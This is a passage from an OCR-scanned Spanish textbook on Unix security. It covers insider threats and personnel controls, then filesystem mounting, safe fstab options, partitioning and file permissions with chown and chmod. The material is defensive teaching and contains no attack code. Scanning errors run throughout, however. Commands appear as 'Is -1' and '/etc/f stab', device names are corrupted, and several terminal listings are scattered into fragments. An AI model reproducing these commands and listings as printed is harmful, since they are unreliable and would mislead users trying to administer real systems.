das en el manejo del sistema operativo, y mucho menos en lo que a seguridad informatica se refiere; 
se suele tratar de usuarios que solo utilizan la maquina para ejecutar aplicaciones muy concretas 
(simulaciones, compiladores, gestion del correo electronico, aplicaciones cientfficas. . . relacionadas 
con su area de trabajo), y cuya unica preocupacion es que sus datos esten listos cuando los requie- 
ren, de la forma mas facil y rapida posible. Incluso el administrador de ciertos sistemas es uno de 
estos usuarios, elegido dentro del grupo (o mucho peor, son todos los usuarios). Evidentemente, 
resulta muy dificil concienciar a estas personas de la necesidad de seguridad en el entorno; posturas 
como ‘no importa que mi clave sea debit, solo utilizo la cuenta para imprimir con la laser’ son por 
desgracia demasiado frecuentes. El responsable de seguridad ha de concienciar a todas estas perso- 
nas de la necesidad de la seguridad para que el entorno de trabajo funcione como se espera de el; 
la seguridad informatica se ha de ver como una cadena que se rompe si falla uno de sus eslabones: 
no importa que tengamos un sistema de cifrado resistente a cualquier ataque o una autenticacion 
fuerte de cualquier entidad del sistema si un intruso es capaz de obtener un nombre de usuario con 
su correspondiente contraseha simplemente llamando por telefono a una secretaria. 

Ademas de concienciacion de los usuarios y administradores en cuanto a seguridad se refiere (esto 
seria el que), para conseguir un sistema fiable es necesaria la formation de los mismos (el COMO). 
De la misma forma que a nadie se le ocurre conducir sin tener unos conocimientos basicos sobre un 
automovil, no deberia ser tan habitual que la gente utilice o administre Unix sin unos conocimientos 
previos del sistema operativo. Evidentemente, a un quirnico que utiliza el sistema para simular el 
comport amiento de determinada sustancia bajo ciertas condiciones no se le puede exigir un curso 
intensivo o unos grandes conocimientos de mecanismos de seguridad en Unix; pero si que seria 
recomendable que conozca unas ideas basicas (volviendo al ejemplo del automovil, para conducir 
un coche a nadie se le exige ser un as de la mecanica, pero si unas cualidades minimas). Estas 
ideas basicas se pueden incluso resumir en una hoja que se le entregue a cada usuario al darlos de 
alta en el sistema. Si pasamos a hablar de administradores, si que seria recomendable exigirles un 
cierto nivel de conocimientos de seguridad, nivel que se puede adquirir simplemente leyendo algun li- 
bro (especialmente recomendado seria [GS96] o, para los que dispongan de menos tiempo, [RCG96]). 

Un grupo de personas mas delicado si cabe es el conjunto formado por todos aquellos que no 
son usuarios del sistema pero que en cierta forma pueden llegar a comprometerlo. Por ejemplo, 
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en este conjunto encontramos elementos tan diversos como guardias de seguridad que controlen el 
acceso a las instalaciones informaticas o personal de administration y servicios que no utilicen el 
sistema pero que tengan acceso fisico a el, como electricistas, bedeles o personal de limpieza. Sin 
entrar en temas que seguramente no son aplicables a los sistemas habituales, como el espionaje 
industrial o el terrorismo de alta magnitud 2 , simplemente hemos de concienciar y ensenar a estos 
‘usuarios’ unas medidas basicas a tomar para no poner en peligro nuestra seguridad; estas medidas 
dependen por supuesto de la funcion de cada unas personas realice. 

Pero, ique sucede cuando el personal de nuestra propia organization produce ataques (y no ac- 
cidentes) sobre nuestros sistemas? En este caso las consecuencias pueden ser gravisimas, y por 
tanto las medidad de protection y detection han de ser estrictas. Se ha de llevar a cabo un control 
estricto de las actividades que se realizan en la organization, por ejemplo mediante politicas que 
han de ser de obligado cumplimiento, asi como un control de acceso a todos los recursos de los 
que disponemos (mediante mecanismos de autenticacion de usuarios, alarmas, etc.). Ademas, las 
sanciones en caso de incumplimiento de las normas han de ser efectivas y ejemplares: si un usuario 
viola intencionadamente nuestra seguridad y no se le sanciona adecuadamente, estamos invitando al 
resto de usuarios a que hagan lo mismo. En el punto siguiente vamos a hablar con mas profundidad 
de estos atacantes, denominados internos. 


3.4 El atacante interno 

En el punto anterior hemos presentado al personal de nuestra organization como victima de los 
ataques realizados por agentes externos a la misma; sin embargo, segun [Cow92] el 80% de los 
fraudes, robos, sabotajes o accidentes relacionados con los sistemas informaticos son causados por 
el propio personal de la organization propietaria de dichos sistemas, lo que se suele denominar 
el insider factor. iQue significa esto? Principalmente que la mayor amenaza a nuestros equipos 
viene de parte de personas que han trabajado o trabajan con los mismos. Esto, que es realmente 
preocupante, lo es mucho mas si analizamos la situation con un mrnimo de detalle: una persona 
que trabaje codo a codo con el administrador, el programador, o el responsable de seguridad de 
una maquina conoce perfectamente el sistema, sus barreras, sus puntos debiles. . . de forma que un 
ataque realizado por esa persona va a ser muchisimo mas directo, dificil de detectar, y sobre todo, 
efectivo, que el que un atacante externo (que necesita recopilar information, intentar probar fallos 
de seguridad o conseguir privilegios) pueda ejecutar. 

Pero, ipor que va a querer alguien atacar a su propia organizacion? ^Por que alguien va a arries- 
garse a percler su trabajo, romper su carrera o incluso a ir a la carcel? Como se acostumbra a decir, 
todos tenemos un precio; no importa lo honestos que seamos o que queramos creer que somos: dine- 
ro, chantaje, factores psicologicos. . . nos pueden arrastrar a vender information, a robar ficheros o 
simplemente a proporcionar acceso a terceros que se encarguen del trabajo sucio. En una empresa, 
un empleado puede considerarse mal pagado e intentar conseguir un sueldo extra a base de vender 
information; en un banco, alguien que a diario trabaje con los sistemas informaticos puede darse 
cuenta de la facilidad para desviar fondos a una cuenta sin levantar sospechas; en una base militar, 
un pais enemigo puede secuestrar a la mujer de un administrador para que este les pase information 
confidential. Existen numerosos estudios ([SM70], [CC86], [HC83], [Kat88], [Rei89]...) que tratan 
de explicar los motivos que llevan a una persona a cometer delitos, informaticos o no, contra su 
propia organizacion, pero sea cual sea el motivo la cuestion esta en que tales ataques existen, son 
numerosos, y hay que tomar medidas contra ellos. 

^Como prevenir o defendernos de los atacantes internos? En una empresa, una norma basica 
seria verificar el curriculum de cualquier aspirante a nuevo miembro (no simplemente leerlo y dar- 
lo por bueno, sino comprobar los datos y directamente descartar al aspirante si se detecta una 
mentira); si buscamos algo mas de seguridad - por ejemplo, sistemas militares - tambien es re- 

2 Temas que habrfa que tener en cuenta en otro tipo de redes. 
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comendable investigar el pasado de cada aspirante a pertenecer a la organization, buscando sobre 
todo espacios en bianco durante los que no se sabe muy bien que ha hecho o a que se ha dedicado 
esa persona (^quien nos asegura que ese parentesis de tres anos durante los que el aspirante asegura 
que estuvo trabajando para una empresa extranjera no los paso realmente en la carcel por delitos 
informaticos?) . Si siguiendo ejemplos como estos podemos asegurar la integridad de todos los que 
entran a formar parte del equipo, habremos dado un importante paso en la prevention de ataques 
internos. 

Tampoco debemos olvidar que el hecho de que alguien entre ‘limpio’ a nuestra organizacion no 
implica que vaya a seguir asi durante el tiempo que trabaje para nosotros, y mucho menos cuando 
abandone su trabajo. Para minimizar el dano que un atacante interno nos puede causar se suelen 
seguir unos principios fundamentales ([Smi92], [GS96], [Pla83]. . . ) que se aplican sobre el personal 
de la empresa: 

• Necesidad de saber ( Need to know ) o minimo privilegio 

A cada usuario se le debe otorgar el mmimo privilegio que necesite para desepenar correc- 
tamente su funcion, es decir, se le debe permitir que sepa solamente lo que necesita para 
trabajar. De esta forma, un programador no tiene por que conocer las politicas de copia de 
seguridad de la maquina, ni un alumno tiene que poseer privilegios en un sistema de practicas. 

• Conocimiento parcial ( Dual Control) 

Las actividades mas delicadas clentro de la organizacion en cuanto a seguridad se refiere 
(por ejemplo, el conocimiento de la clave de root de una maquina) deben ser realizadas por 
clos personas competentes, de forma que si uno de ellos comete un error o intenta violar las 
politicas de seguridad el otro pueda darse cuenta rapidamente y subsanarlo o evitarlo. De 
la misma forma, aplicar este principio asegura que si uno de los responsables abandona la 
organizacion o tiene un accidente el otro pueda seguir operando los sistemas mientras una 
nueva persona sustituye a su compahero. 

• Rotation de funciones 

Quizas la mayor amenaza al conocimiento parcial es la potential complicidad que los dos 
responsables de cierta tarea puedan llegar a establecer, de forma que entre los dos sean 
capaces de ocultar las violaciones de seguridad que nuestros sistemas puedan sufrir; incluso 
puede suceder lo contrario: que ambas personas sean enemigos y esto repercuta en el buen 
funcionamiento de la politica de seguridad establecida. Para evitar ambos problemas, una 
norma comun es rotar - siempre dentro de unos limites - a las personas a lo largo de diferentes 
responsabilidades, de forma que a la larga todos puedan vigilar a todos; esto tambien es muy 
util en caso de que alguno de los responsables abandone la organizacion, ya que en este caso 
sus tareas seran cubiertas mas rapidamente. 

• Separation de funciones 

No es en absolute recomendable que una sola persona (o dos, si establecemos un control dual) 
posea o posean demasiada information sobre la seguridad de la organizacion; es necesario que 
se definan y separen correctamente las funciones de cada persona, de forma que alguien cuya 
tarea es velar por la seguridad de un sistema no posea el mismo la capacidad para violar dicha 
seguridad sin que nadie se percate de ello. 

Si aplicamos correctamente los principios anteriores en nuestra politica de personal vamos a evitar 
muchos problemas de seguridad, no solo cuando un usuario trabaja para nuestro entorno sino lo 
que es igual de importante, cuando abandona la organizacion. Cuando esto sucede se debe cancelar 
inmediatamente el acceso de esa persona a todos nuestros recursos (cuentas de usuario, servicio 
de acceso remote, unidades de red. . . ), y tambien cambiar las claves que ese usuario conotia. Es- 
pecialmente en los entornos de I+D quizas esto es algo complicado debido a la gran movilidad de 
usuarios (un profesor invitado durante un mes a la universidad, un proyectando que solo necesita 
acceso a una maquina mientras que realiza su proyecto. ..), por lo que es aqui donde se suelen 
ver mayores barbaridades en los sistemas: desde cuentas que hace anos que no se utilizan hasta 
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direcciones de correo de gente que dejo de trabajar para la organization hace anos. Evidentemente, 
este tipo de cosas son muy preocupantes para la seguridad, y es justo en estos accesos no utilizados 
donde un atacante puede encontrar una de las mejores puertas de entrada a los sistemas: simple- 
mente hemos de pensar que si el usuario de una cuenta hace aiios que no la utiliza, por logica hace 
aiios que esa clave no se cambia. 

Hasta ahora hemos hablado principalmente de los problemas que nos pueden causar las perso- 
nas que trabajan para la organization; no obstante, las redes de I+D son bastante peculiares a la 
hora de hablar de ataques internos. Se trata de sistemas en los que un elevado numero de usuarios 
- los alumnos - puede considerar un reto personal o intelectual (?) saltarse las medidas de pro- 
tection impuestas en la red; ademas, y especialmente en universidades tecnicas, por la naturaleza 
de sus estudios muchos alumnos llegan a poseer elevados conocimientos sobre sistemas operativos 
y redes, lo que evidentemente es un riesgo ahadido: no es lo mismo proteger de ataques internos 
una maquina Unix en una Facultad de Derecho, donde a priori muy pocos alumnos tenclran el 
interes o los conocimientos suficientes para saltarse la seguridad del sistema, que en una Facultad 
de Informatica, donde el que mas y el que menos tiene nociones de seguridad o de Unix y a diario 
se trabaja en estos entornos. 

Las normas vistas aquf seguramente se pueden aplicar sobre el personal de la organization, pero 
no sobre los alumnos (que es justamente de quienes provienen la mayorfa de ataques): no pode- 
mos obligar a un alumno de nuevo ingreso a que nos muestre un resumen de su vida, ni mucho 
menos tenemos capacidad para verificar los datos de treinta o cincuenta mil alumnos. Incluso si 
pudieramos, ^seria legal o etico denegar el acceso a la universidad a alguien con antecedentes pe- 
nales, por ejemplo? Seguramente no. . . De esta forma, en organismos de I+D nos debemos cenir a 
otros mecanismos de prevention, por ejemplo en forma de sanciones ejemplares para todos aquellos 
que utilicen los recursos del centro para cometer delitos informaticos; sin llegar a los tribunales, las 
posibles penas impuestas dentro de la universidad son a veces mas efectivas que una denuncia en 
el juzgado, donde los piratas incluso despiertan cierta simpatia entre muchos abogados y jueces. 
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Parte II 

Seguridad del sistema 
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Capitulo 4 

El sistema de ficheros 


NOTA: Obviamente, en este capitulo no hablaremos del tratamiento de ficheros (crea- 
tion, borrado, modification, jerarquia de directories. . . sino de temas referentes a la 
seguridad de los archivos y el sistema de ficheros. Para information sobre la gestion 
de ficheros se puede consultar cualquier obra que estudie Unix clesde una perspectiva 
general, como [TY82], [CR94] o [Man91]. Para un conocimiento mas profundo sobre los 
ficheros y los sistemas de archivos se puede consultar [Tan91], [Bac86] (bsd), [GC94] 
(. System V) o, en el caso de Linux, [CDM97] o [BBD+96]. 


4.1 Introduction 

Dentro del sistema Unix todo son archivos: clesde la memoria fisica del equipo hasta el raton, pa- 
sando por modems, teclado, impresoras o terminales. Esta filosoffa de diseho es uno de los factores 
que mas exito y potencia proporciona a Unix ([KP84]), pero tambien uno de los que mas peligros 
entraha: un simple error en un permiso puede permitir a un usuario modificar todo un disco cluro 
o leer los datos tecleados desde una terminal. Por esto, una correcta utilization de los permisos, 
atributos y otros controles sobre los ficheros es vital para la seguridad de un sistema. 

En un sistema Unix tipico existen tres tipos basicos de archivos: ficheros pianos, directories, y 
ficheros especiales (dispositivos) 1 ; generalmente, al hablar de ficheros nos solemos referir a todos 
ellos si no se especifica lo contrario. Los ficheros pianos son secuencias de bytes que a priori no 
poseen ni estructura interna ni contenido significante para el sistema: su significado depende de las 
aplicaciones que interpretan su contenido. Los directories son archivos cuyo contenido son otros 
ficheros de cualquier tipo (pianos, mas directories, o ficheros especiales), y los ficheros especiales 
son ficheros que representan dispositivos del sistema; este ultimo tipo se divide en clos grupos: los 
dispositivos orientados a caracter y los orientados a bloque. La principal diferencia entre ambos 
es la forma de realizar operaciones de entrada/salida: mientras que los dispositivos orientados a 
caracter las realizan byte a byte (esto es, caracter a caracter), los orientados a bloque las realizan 
en bloques de caracteres. 

El sistema de ficheros es la parte del nucleo mas visible por los usuarios; se encarga de abstraer 
propiedades ffsicas de diferentes dispositivos para proporcionar una interfaz unica de almacena- 
miento: el archivo. Cada sistema Unix tiene su sistema de archivos nativo (por ejemplo, ext2 en 
Linux, UFS en Solaris o EFS en IRIX), por lo que para acceder a todos ellos de la misma forma el 
nucleo de Unix incorpora una capa superior denominada VFS ( Virtual File System ) encargada de 
proporcionar un acceso uniforme a diferentes tipos de sistema de ficheros. 

Un inodo o nodo indice es una estructura de datos que relaciona un grupo de bloques de un 

1 Otros tipos de archivos, como los enlaces simbolicos, los sockets o los pipes no los vamos a tratar aqm. 
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dispositivo con un determinado nombre del sistema de ficheros. Internamente, el nucleo cle Unix 
no distingue a sus archivos por su nombre sino por un numero de inodo; de esta forma, el fichero 
con numero de inodo 23421 sera el mismo tanto si se denomina /etc/passwd como si se denomina 
/usr/f ichero. Mediante la orden ln(l) se pueden asignar a un mismo inodo varios nombres de 
fichero diferentes en el sistema de archivos. 


4.2 Sistemas de ficheros 

Cuando un sistema Unix arranca una de las tareas que obligatoriamente ha de realizar es incorporar 
diferentes sistemas de ficheros - discos completos, una partition, una unidad de CD-ROM. . . - a 
la jerarqufa de directories Unix; este proceso se llama montaje, y para realizarlo generalmente se 
utiliza la orden mount. Es obligatorio montar al menos un sistema de ficheros durante el arranque, 
el sistema rafz ('/’), del que colgaran todos los demas. 

Montar un sistema de ficheros no significa mas que asociar un determinado nombre de directo- 
rio, denominado mount point o punto de montaje, con el sistema en cuestion, de forma que al 
utilizar dicha ruta estaremos trabajando sobre el sistema de ficheros que hemos asociado a ella. 
Para saber que sistemas de ficheros se han de montar en el arranque de la maquina, y bajo que 
nombre de directorio, Unix utiliza un determinado archivo; aunque su nombre depende del cion 
utilizado (/etc/vfstab en Solaris, /etc/f stab en Linux. . . ), su funcion - e incluso su sintaxis - 
es siempre equivalente. Un ejemplo de este fichero es el siguiente: 


luisa:~# cat 

/etc/f stab 





/ dev/hda3 

/ 

ext2 

defaults 

1 

1 

/ dev/hda4 

/home 

ext2 

defaults 

1 

2 

none 

luisa: ~# 

/proc 

proc 

defaults 

1 

1 


Cuando el sistema arranque, el fichero anterior viene a indicar que en /dev/hda3 se encuentra el 
sistema de ficheros rafz, de tipo ext2 (el habitual en Linux), y que se ha de montar con las opciones 
que se toman por defecto. La segunda lfnea nos dice que /home es un sistema diferente del anterior, 
pero del mismo tipo y que se montara con las mismas opciones; finalmente, la ultima entrada hace 
referencia al directorio /proc/, donde se encuentra un sistema de ficheros especial que algunos 
Unices utilizan como interfaz entre estructuras de datos del nucleo y el espacio de usuario (no en- 
traremos en detalles con el) . Si cualquiera de las entradas anteriores fuera erronea, el sistema o bien 
no arrancarfa o bien lo harfa incorrectamente. Por lo que evidentemente el fichero /etc/f stab o 
sus equivalentes ha de ser solo modificable por el root, aunque nos puede interesar - como veremos 
luego - que los usuarios sin privilegios puedan leerlo. 

Lo visto hasta aquf no suele representar ningun problema de seguridad en Unix; si hemos di- 
cho que no hablarfamos de aspectos generales de los sistemas de ficheros, /por que comentamos 
este aspecto? Muy sencillo: diferentes problemas radican en una gestion incorrecta del montaje 
de sistemas de ficheros. Por ejemplo, algo muy habitual en un atacante que consigue privilegios 
de administrador en una maquina es instalar ciertas utilidades que le permitan seguir gozando de 
ese privilegio (por ejemplo, un rootkit o un simple shell setuidado); si guarda el fichero setuidado - 
hablaremos mas tarde de estos permisos ‘especiales’ - en cualquier directorio de nuestro sistema, 
su localization sera muy rapida: una orden tan simple como find nos alertara de su presencia. 
En cambio, /que sucede si el atacante utiliza una parte del sistema de ficheros ocultal Cuando 
montamos un sistema bajo un nombre de directorio, todo lo que habfa en ese directorio desaparece 
de la vista, y es sustituido por el contenido del sistema montado; no volvera a estar accesible hasta 
que no desmontemos el sistema: 

luisa:~# mount 

/dev/hda3 on / type ext2 (rw) 

/dev/hda4 on /home type ext2 (rw) 
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none on /proc type proc (rw) 
luisa: ~# Is /home/ 
ftp/ toni/ lost+found/ 
luisa:~# umount /home 
luisa:~# Is /home/ 
luisa: ~# 

El atacante puede desmontar una parte de nuestra jerarquia de directories, guardar ahi ciertos 
ficheros, y volver a montar el sistema que habia anteriormente; localizar esos archivos puede ser 
complicado, no por motivos tecnicos sino porque a muy poca gente se le ocurre hacerlo. La orden 
ncheck, existente en Unices antiguos, puede detectar estos ficheros ocultos bajo un mount point, si 
no disponemos de esta utilidad podemos buscar por Internet aplicaciones que consiguen lo mismo, 
o simplemente desmontar manualmente los sistemas (a exception del rafz) y comprobar que no hay 
nada oculto bajo ellos. 

El tema de desmontar sistemas de ficheros tambien puede ocasionar algun dolor de cabeza a muchos 
administradores; aunque no se trata de algo estrictamente relativo a la seguridad, vamos a comentar 
un problema tfpico que se poclria considerar incluso una negation de servicio (no causada por un 
fallo de Unix sino por el clesconocimiento del administrador) . En ocasiones, al intentar desmontar 
un sistema de ficheros, encontramos el siguiente resultado: 

luisa: ~# umount /home/ 
umount: /home: device is busy 
luisa: ~# 

^Que sucede? Simplemente que existe un cleterminado proceso haciendo uso de recursos bajo ese 
nombre de directorio. Hasta que dicho proceso no finalice (por las buenas o por las malas), sera 
imposible desmontar el sistema; es facil determinar de que proceso se trata - y posteriormente 
eliminarlo - mediante la orden fuser. 

Otro problema clasico de los sistemas de ficheros viene de la necesidad que en muchos entor- 
nos existe de permitir a los usuarios - sin privilegios - montar y desmontar sistemas de ficheros 
(tipicamente, discos flcxibles o CD-ROMs). Por ejemplo, imaginemos un laboratorio de maquinas 
Unix donde es deseable que todos los usuarios puedan acceder a la disquetera, tanto para copiar 
practicas realizadas en casa como para hacer una copia de las que se han hecho en el propio labo- 
ratorio (este es uno de los casos mas frecuentes en cualquier organization). Unix permite dar una 
solucion rapida a este problema, pero esta solucion puede convertirse en una amenaza a la seguridad 
si no es implantada correctamente: 

Al hablar de /etc/fstab hemos comentado el montaje con ciertas opciones tomadas por defec- 
to; dichas opciones son - en el caso de Linux, consultar la pagina del manual de mount en otros 
sistemas - ‘rw’ (se permite tanto la lectura como la escritura), 'suid’ (se permite la existencia de 
ficheros setuidados), 'dev’ (se permite la existencia de dispositivos) , 'exec’ (se permite la ejecu- 
cion de binarios), ' auto ’ (el sistema se monta automaticamente al arrancar o al utilizar mount -a), 
'nouser ’ (solo puede ser montado por el root) y ' async ’ (la entrada/salida sobre el dispositivo se 
realiza de forma asincrona). Evidentemente, se trata de las opciones mas logicas para sistemas de 
ficheros ‘normales’, pero no para los que puedan montar los usuarios; si deseamos que un usuario 
sin privilegios pueda montar y desmontar cierto dispositivo, hemos de especificar la option 'user’ 
en la entrada correspondiente de /etc/fstab. Parece logico tambien utilizar 'noauto’ para que 
el sistema no se monte automaticamente en el arranque de la maquina (si esto sucediera, el root 
tendrfa que desmontar la unidad manualmente para que otros usuarios puedan montarla), pero 
otras opciones importantes no son tan inmediatas. Es imprescindible que si permitimos a un 
usuario montar una unidad utilicemos ‘nodev’, de forma que si en el sistema montado existen fi- 
cheros de tipo dispositivo (por ejemplo, un archivo que haga referenda a nuestros discos duros) ese 
hchero sea ignorado; en caso contrario, cualquiera podria acceder directamente a nuestro hardware, 
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por ejemplo para clestruir completamente los discos cluros o bloquear toda la maquina. Tambien 
es importante especificar 'nosuid’, cle forma que se ignore el bit de setuid en cualquier fichero 
contenido en el sistema que el usuario monta: asi evitamos que con un simple shell setuidado en 
un disco flexible el usuario consiga privilegios de administrador en nuestro sistema. Incluso puede 
ser conveniente especificar 'noexec’, de forma que no se pueda ejecutar nada de lo que esta en el 
dispositivo montado - esto parece logico, ya que en principio se va a tratar de una unidad utilizada 
simplemente para transferir datos entre la maquina y un sistema externo a la red, como el ordena- 
dor de casa de un alumno Todas estas opciones (‘noexec’, ‘nosuid’ y ‘nodev’) en Linux se 
asumen simplemente al indicar 'user’, pero en otros sistemas Unix quizas no, por lo que nunca 
esta de mas ponerlas explfcitamente (o al menos consultar el manual en otros clones de Unix para 
asegurarse del efecto de cada option); de esta forma, si queremos que los usuarios puedan montar 
por ejemplo la disquetera, una entrada correcta en /etc/fstab serfa la siguiente: 

luisa:~# grep fdO /etc/fstab 

/dev/fdO /floppy ext2 user , noauto, nodev,nosuid,noexec 

luisa: ~# 

Otro aspecto relacionado con el montaje de sistemas de ficheros que puede afectar a nuestra se- 
guridad es el uso de sistemas de ficheros diferentes del rafz bajo ciertos directories; una election 
incorrecta a la hora de elegir clonde montar sistemas puede causar ciertos problemas, sobre todo 
negaciones de servicio. Generalmente, es recomendable montar dispositivos diferentes bajo todos 
y cada uno de los directories sobre los que los usuarios tienen permiso de escritura; esto incluye 
el padre de sus SHOME, /tmp/ o /var/tmp/ (que puede ser un simple enlace a /tmp/). Con esto 
conseguimos que si un usuario llena un disco, esto no afecte al resto del sistema: un disco lleno 
implica muchos problemas para la maquina, desde correo electronico que no se recibe, logs que no 
se registran, o simplemente una negation de servicio contra el resto de usuarios, que no podran al- 
macenar nada. Aunque algunos Unices reservan una parte de cada disco o partition para escritura 
solo del root o de procesos que corran bajo el UID 0 - tfpicamente un 10% de su capacidad total 
no podemos confiar ciegamente en este mecanismo para mantener segura nuestra maquina; asf, 
una configuration mas o menos adecuada serfa la siguiente 2 : 

rosita:~# mount 

/dev/hdal on / type ext2 (rw) 

/dev/hda2 on /tmp type ext2 (rw) 

/dev/hdbl on /home type ext2 (rw) 
none on /proc type proc (rw) 
rosita: ~# 

Como podemos comprobar, si un usuario lanza un ftp en background desde su SHOME durante la 
noche - tfpico proceso que llena gran cantidad de disco en todo caso podra afectar al resto de 
usuarios, pero nunca al sistema en global (correo, logs, root. . . ); este tipo de problemas no suelen 
ser ataques, sino mas bien descuidos de los usuarios que no tienen en cuenta el espacio disponible 
antes de clescargar ficheros de forma no interactiva. Si queremos que ni siquiera pueda afectar al 
resto de usuarios, podemos establecer un sistema de quotas de disco en nuestra maquina. 

4.3 Permisos de un archivo 

Los permisos de cada fichero son la protection mas basica de estos objetos del sistema operativo; 
definen quien puede acceder a cada uno de ellos, y de que forma puede hacerlo. Cuando hacemos un 
listado largo de ciertos archivos podemos ver sus permisos junto al tipo de fichero correspondiente, 
en la primera columna de cada lfnea: 

anita:~# Is -1 /sbin/rcO 

2 Recordemos que en ciertos Unices existe /var/tmp/, directorio donde los usuarios tambien pueden escribir; quizas 
nos interese, en lugar de dedicar una particion a este directorio, enlazarlo simbolicamente a /tmp/. 
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de usuarios: lectura. 
grupo (sys) : lectura. 
escritura y ejecucion. 


Figura 4.1: Permisos de un fichero 


-rwxr — r — 3 root sys 2689 Dec 1 1998 /sbin/rcO 

anita: ~# 

En este caso vemos que el archivo listado es un fichero piano (el primer caracter es un y sus 
permisos son 'rwxr — r — ’. iComo interpretar estos caracteres? Los permisos se dividen en tres 
ternas en funcion de a que usuarios afectan; cada una de ellas indica la existencia o la ausencia 
de permiso para leer, escribir o ejecutar el fichero: una r indica un permiso de lectura, una w de 
escritura, una x de ejecucion y un ‘ - ’ indica que el permiso correspondiente no esta activado. Asf, 
si en una de las ternas tenemos los caracteres rwx, el usuario o usuarios afectados por esa terna 
tiene o tienen permisos para realizar cualquier operation sobre el fichero. ^De que usuarios se trata 
en cada caso? La primera terna afecta al propietario del fichero, la segunda al grupo del propietario 
cuando lo creo (recordemos un mismo usuario puede pertenecer a varios grupos) y la tercera al 
resto de usuarios. De esta forma, volviendo al ejemplo anterior, tenemos los permisos mostrados en 
la figura 4.1. 

Cuando un usuario 3 intenta acceder en algiin modo a un archivo, el sistema comprueba que terna 
de permisos es la aplicable y se basa unicamente en ella para conceder o denegar el acceso; asi, si un 
usuario es el propietario del fichero solo se comprueban permisos de la primera terna; si no, se pasa 
a la segunda y se aplica en caso de que los grupos coincidan, y de no ser asi se aplican los permisos 
de la ultima terna. De esta forma es posible tener situaciones tan curiosas como la de un usuario 
que no tenga ningun permiso sobre uno de sus archivos, y en cambio que el resto de usuarios del 
sistema pueda leerlo, ejecutarlo o incluso borrarlo; obviamente, esto no es lo habitual, y de suceder 
el propietario siempre podra restaurar los permisos a un valor adecuado. 


El propietario y el grupo de un fichero se pueden modificar con las ordenes chown y chgrp res- 
pectivamente; ambas reciben como parametros al menos el nombre de usuario o grupo (los nombres 
validos de usuario son los que poseen una entrada en /etc/passwd mientras que los grupos validos 
se leen de /etc/group) al que vamos a otorgar la posesion del fichero, asi como el nombre de archivo 
a modificar: 


anita: ~# Is -1 
-rw-r — r — 1 
anita:"# chown 
anita:"# Is -1 
-rw-r — r — 1 
anita:"# chgrp 
anita:"# Is -1 
-rw-r — r — 1 
anita: ~# 


/tmp/f ichero 
root other 

toni /tmp/f ichero 
/tmp/f ichero 
toni other 

staff /tmp/fichero 
/tmp/f ichero 
toni staff 


799 Feb 
799 Feb 
799 Feb 


8 19:47 /tmp/fichero 
8 19:47 /tmp/fichero 
8 19:47 /tmp/fichero 


3 Excepto el root, que no se ve afectado por los permisos de un fichero. 
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En muchas variantes de Unix es posible cambiar a la vez el propietario y el grupo de un fichero 
mediante chown, separando ambos mediante un caracter especial, generalmente ‘ ’ o ‘ . 1 : 

anita:~# Is -1 /tmp/fichero 

-rw-r — r — 1 root other 799 Feb 

anita: ~# chown toni: staff /tmp/f ichero 
anita:~# Is -1 /tmp/f ichero 

-rw-r — r — 1 toni staff 799 Feb 

anita: ~# 

Como vemos, ninguna de estas orclenes altera el campo de permisos 4 ; para modificar los permisos 
de un archivo se utiliza la orden chmod. Este comando generalmente recibe como parametro el 
permiso en octal que queremos asignar a cierto fichero, asi como el nombre del mismo: 

anita: ~# Is -1 /tmp/f ichero 
-rw-r — r — 1 root staff 

anita: ~# chmod 755 /tmp/f ichero 
anita: ~# Is -1 /tmp/f ichero 
-rwxr-xr-x 1 root staff 

anita: ~# 

^Como podemos obtener el numero en octal a partir de una terna de permisos determinada, y 
viceversa? Evidentemente no podemos entrar aquf a tratar todas las caracterfsticas de este sistema 
de numeration, pero vamos a proporcionar unas ideas basicas. Imaginemos que tenemos un fichero 
con unos determinados permisos de los que queremos calcular su equivalente octal, o que conocemos 
los permisos a asignar pero no su equivalente numerico; por ejemplo, necesitamos asignar a un 

fichero la terna rw-r wx, que en la practica no tiene mucho sentido pero que a nosotros nos sirve 

de ejemplo. Lo primero que debemos hacer a partir de estos bits rwx es calcular su equivalente 
binario, para lo que asignamos el valor 1 1 ’ si un determinado permiso esta activo (es clecir, si 
aparece una r, w o x en el) y un ‘O’ si no lo esta (aparece un asi, el equivalente binario de la 

terna propuesta es 110100011. Ahora simplemente hemos de pasar el numero del sistema binario 
al octal: lo dividimos en grupos de tres elementos (110 100 011)yde cada uno de ellos calculamos 
su equivalente octal: 

110 2 = 1 • 2 2 + 1 • 2 1 + 0 • 2 ° = 6 8 
100 2 s 1 • 2 2 + 0 • 2 1 + 0 • 2° = 4 8 
01 1 2 = 0 • 2 2 + 1 • 2 1 + 1 • 2° = 3 8 

Ya tenemos los tres numeros de nuestra terna de permisos, o lo que es lo mismo, la representation 
octal de los bits iniciales: 643. Por tanto, si necesitamos asignar esta terna a un cierto fichero, 
simplemente hemos de ejecutar la orden chmod indicandole este numero y el nombre del archivo: 

anita: ~# chmod 643 /tmp/f ichero 
anita: ~# Is -1 /tmp/f ichero 

-rw-r wx 1 root root 799 Feb 8 19:47 /tmp/f ichero* 

anita: ~# 

La forma de trabajar de chmod comentada requiere que se indique explicitamente el valor octal de 
los bits rwx que queremos otorgar a un fichero; sin importar el valor de las ternas que poseia antes 
de ejecutar la orden, estamos asignando a los permisos del archivo el nuevo valor valor indicado en 
la lfnea de comandos. Existe otra forma de trabajo de chmod denominada ‘simbolica’ en la que no 
necesitamos indicar el valor octal de todos los bits, sino que especificamos unicamente parametros 
para los valores de los permisos que el archivo posee y cleseamos modificar. En lugar de utilizar el 
equivalente octal, utilizamos sfmbolos (de ahf el nombre de esta forma de trabajo) que representan 
la activation o desactivacion de ciertos bits en cada una de las tres ternas; la sintaxis basica 5 de 
chmod en este caso es la siguiente: 

4 Esto no siempre es ash bajo ciertas circunstancias en algunos Unix el cambio de grupo o de propietario puede 
modificar los permisos del archivo, como veremos al hablar de ficheros setuidados. 

5 Se recomienda consultar la pagina del manual para ver otras opciones de la orden. 


799 Feb 8 19:47 /tmp/fichero 
799 Feb 8 19:47 /tmp/fichero 


8 19:47 /tmp/fichero 
8 19:47 /tmp/fichero 
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chmod [ugoa]{+,-}{rwxst} fichero 

Podemos ver que el valor simbolico comienza por cero o mas letras que indican sobre que terna 
de los permisos se van a realizar los cambios (u para propietario del fichero, g para grupo, o para 
resto de usuarios y a para las tres ternas; si no se especifica ninguna letra, se asume a) . A ellas les 
sigue un signo ‘ + ’ o ‘ en funcion de si deseamos activar o resetar el bit sobre el que trabajamos, 
parametro indicado por el ultimo conjunto formado por una o mas letras, r para el permiso de 
lectura, w para escritura, x para ejecucion, s para SUID o SGID y t para bit de permanencia (el 
